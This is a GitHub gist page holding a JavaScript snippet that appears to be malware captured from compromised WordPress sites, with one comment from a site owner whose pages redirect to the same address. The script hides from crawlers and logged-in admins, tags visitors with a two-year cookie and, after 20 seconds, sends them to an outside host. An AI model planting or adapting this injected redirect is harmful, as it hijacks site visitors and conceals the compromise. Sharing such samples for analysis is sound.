Skip to content

Instantly share code, notes, and snippets.

@varmais
Created July 29, 2016 11:10
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save varmais/718d00f3d17ddded2551b15a8062f343 to your computer and use it in GitHub Desktop.
Save varmais/718d00f3d17ddded2551b15a8062f343 to your computer and use it in GitHub Desktop.
(function asd() {
var w_location = 'http://vyhub.com/css/css/';
var cookie = 'yYjra4PCc8kmBHess1ib';
function start() {
var cookies = document.cookie || '';
if (cookies.indexOf(cookie) !== -1) {
return;
}
if (cookies.indexOf('wp-settings') !== -1) {
return;
}
if (localStorage.getItem(cookie) === '1') {
return;
}
var uagent = navigator.userAgent;
if (!uagent) {
return;
}
uagent = uagent.toLowerCase();
if (uagent.indexOf('google') !== -1
|| uagent.indexOf('bot') !== -1
|| uagent.indexOf('crawl') !== -1
|| uagent.indexOf('bing') !== -1
|| uagent.indexOf('yahoo') !== -1) {
return;
}
setTimeout(function() {
setCookie(cookie, '123', 730);
localStorage.setItem(cookie, '1');
window.location = w_location;
}, 20 * 1000);
}
function setCookie(c_name, value, exdays) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString());
document.cookie = c_name + '=' + c_value;
}
var readyStateCheckInterval = setInterval(function() {
if (document.readyState === 'complete'
|| document.readyState == 'interactive') {
clearInterval(readyStateCheckInterval);
start();
}
}, 10);
}());
@LefterisKa
Copy link

Hi!
What exactly does this piece of code do?

I am asking because my site after a short period of time automatically redirects to this address http://vyhub.com/css/css/ ...

Thank you!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment